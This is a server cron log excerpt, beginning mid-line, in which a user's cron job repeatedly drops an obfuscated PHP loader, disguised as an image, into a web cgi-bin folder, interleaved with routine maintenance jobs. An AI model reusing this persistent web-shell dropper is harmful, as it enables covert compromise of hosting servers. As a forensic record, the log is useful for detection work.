JiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:40:01 server CROND[1408]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 00:40:01 server CROND[1409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:41:01 server CROND[2351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:41:01 server CROND[2352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:41:01 server CROND[2353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:42:01 server CROND[2761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:42:01 server CROND[2762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:42:01 server CROND[2764]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 00:42:01 server CROND[2763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:43:01 server CROND[3148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:43:01 server CROND[3149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:43:01 server CROND[3150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:44:01 server CROND[3517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:44:01 server CROND[3519]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:44:01 server CROND[3518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:45:01 server CROND[3898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:45:01 server CROND[3899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:45:01 server CROND[3903]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:45:01 server CROND[3902]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 00:45:01 server CROND[3900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:45:01 server CROND[3904]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:45:01 server CROND[3901]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 00:46:01 server CROND[4814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:46:01 server CROND[4816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:46:01 server CROND[4815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:47:01 server CROND[5182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:47:01 server CROND[5183]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:47:01 server CROND[5184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:48:01 server CROND[5558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:48:01 server CROND[5559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:48:01 server CROND[5560]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:49:01 server CROND[5934]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:49:01 server CROND[5933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:49:01 server CROND[5935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:50:01 server CROND[6337]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:50:01 server CROND[6340]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:50:01 server CROND[6342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:50:01 server CROND[6346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:50:01 server CROND[6347]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 00:50:01 server CROND[6343]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 00:50:01 server CROND[6348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:50:01 server CROND[6350]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 00:50:01 server CROND[6345]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 00:51:01 server CROND[7843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:51:01 server CROND[7844]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:51:01 server CROND[7845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:52:01 server CROND[8221]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:52:01 server CROND[8222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:52:01 server CROND[8223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
